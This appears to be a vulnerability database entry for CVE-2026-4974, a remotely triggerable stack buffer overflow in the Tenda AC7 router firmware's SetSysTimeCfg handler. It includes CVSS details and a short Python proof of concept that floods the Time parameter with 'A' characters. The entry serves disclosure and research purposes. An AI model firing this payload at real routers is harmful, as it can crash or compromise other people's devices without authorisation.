Security Vulnerability Report
中文
CVE-2026-4974 CVSS 8.8 HIGH

CVE-2026-4974

Published: 2026-03-27 20:16:38
Last Modified: 2026-03-30 19:33:20

Description

A flaw has been found in Tenda AC7 15.03.06.44. Affected by this issue is the function fromSetSysTime of the file /goform/SetSysTimeCfg of the component POST Request Handler. Executing a manipulation of the argument Time can lead to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac7_firmware:15.03.06.44:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac7:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC7 15.03.06.44

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/SetSysTimeCfg" # Construct payload to trigger stack overflow # Adjust the length based on specific buffer size analysis buffer_size = 1000 payload = "A" * buffer_size # POST data parameters data = { "Time": payload, # Additional parameters might be required depending on the form structure } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) print(f"Response status code: {response.status_code}") print("Check if the device has crashed or if code execution occurred.") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
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